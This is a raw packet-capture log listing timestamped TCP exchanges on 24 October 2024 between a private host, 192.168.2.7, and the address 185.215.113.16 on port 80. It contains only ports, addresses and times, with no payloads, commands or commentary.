Oct 24, 2024 04:02:01.960740089 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:01.960755110 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:01.960764885 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:01.960830927 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.004626989 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.004640102 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.004650116 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.004703045 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.004741907 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.004745960 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.004756927 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.004767895 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.004782915 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.004808903 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.004827023 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.040524006 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.040586948 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.040628910 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.040646076 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.040657997 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.040668964 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.040684938 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.040713072 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.040841103 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.040910006 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.040915012 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.040925980 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.040936947 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.040949106 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.040950060 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.040962934 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.040983915 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.041450977 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.041470051 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.041495085 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.041521072 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.041625023 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.041635036 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.041672945 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.041760921 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.041773081 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.041783094 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.041815042 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.041841984 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.079730034 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.079749107 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.079757929 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.079765081 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.079787016 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.079806089 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.079857111 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.079907894 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.123892069 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.123918056 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.123928070 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.123940945 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.123950958 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.123964071 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.123967886 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.124000072 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.159796953 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.159809113 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.159818888 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.159841061 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.159847975 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.159852982 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.159888983 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.160098076 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.160120010 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.160130978 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.160141945 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.160166979 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.160181999 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.160188913 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.160403013 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.160687923 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.160734892 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.160736084 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.160758018 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.160769939 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.160773039 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.160780907 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.160793066 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.160809040 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.160820961 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.161351919 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.161361933 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.161413908 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.161448956 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.161480904 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.161516905 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.161562920 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.198915005 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.198930025 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.198942900 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.198964119 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.198973894 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.199001074 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.199043989 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.199139118 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.199156046 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.199182034 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.199204922 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.243180037 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.243204117 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.243220091 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.243232012 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.243261099 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.243303061 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.279064894 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.279083967 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.279099941 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.279110909 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.279171944 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.279179096 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.279191971 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.279226065 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.279227018 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.279237986 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.279266119 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.279283047 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.279292107 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.279303074 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.279325962 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.279340029 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.279366016 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.280035973 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.280090094 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.280101061 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.280114889 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.280127048 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.280131102 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.280141115 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.280143976 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.280180931 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.280210018 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.280221939 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.280256987 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.280949116 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.280961037 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.280972004 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.281014919 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.281023979 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.318033934 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.318049908 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.318062067 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.318152905 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.318165064 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.318167925 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.318176031 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.318200111 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.318226099 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.362502098 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.362514973 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.362526894 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.362684011 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.398485899 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.398502111 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.398511887 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.398523092 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.398535013 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.398540974 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.398552895 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.398559093 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.398588896 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.398607969 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.398760080 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.398770094 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.398808002 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.398925066 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.398936987 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.398947954 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.398962021 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.398973942 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.398998022 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.399017096 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.399375916 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.399389982 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.399403095 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.399416924 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.399420023 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.399444103 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.399463892 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.399822950 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.399833918 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.399846077 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.399863005 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.399866104 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.399878979 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.399893999 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.399919987 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.437232971 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.437258005 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.437268972 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.437289000 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.437315941 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.437330961 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.437340975 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.437351942 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.437421083 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.437438011 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.481606007 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.481631041 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.481641054 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.481652021 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.481662989 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.481677055 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.481704950 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.517613888 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.517638922 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.517651081 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.517659903 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.517730951 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.517786026 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.517811060 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.517999887 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518012047 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518023968 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518034935 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518045902 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.518047094 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518075943 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.518095016 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.518378019 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518434048 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518445969 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518465996 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518476963 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518486977 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.518508911 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.518532038 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.518851042 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518891096 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518903017 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518932104 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518933058 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.518944025 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.518954039 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.518991947 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.556359053 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.556372881 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.556384087 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.556427002 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.556447029 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.556459904 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.556468964 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.556473017 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.556498051 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.556519985 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.556694984 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.556768894 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.556783915 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.556826115 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.556838036 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.556848049 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.556884050 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.600846052 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.600898981 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.600903034 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.600941896 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.636748075 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.636792898 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.636804104 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.636815071 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.636838913 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.636864901 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.636894941 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.636930943 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.636960983 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.636998892 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.637072086 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.637084007 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.637095928 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.637119055 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.637120008 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.637131929 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.637146950 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.637171030 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.637624979 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.637634993 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.637691021 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.637748003 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.637759924 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.637772083 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.637783051 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.637809992 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.637820005 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.638081074 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.638091087 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.638103962 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.638128042 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.638149977 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.638160944 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.638160944 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.638200998 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.675612926 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.675627947 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.675637960 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.675649881 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.675678015 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.675712109 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.675772905 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.675813913 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.675823927 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.675834894 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.675865889 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.675877094 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.676052094 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.676064014 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.676095009 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.676106930 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.676290035 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.676331997 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.676428080 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.676469088 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.760730028 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.760742903 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.760752916 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.760819912 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.760831118 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.760839939 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.760848999 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.760859013 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.760938883 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.760957003 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.761200905 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.761213064 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.761223078 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.761239052 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.761250019 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.761255026 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:02.761260986 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:02.761270046 CEST	49930	80	192.168.2.7	185.215.113.16
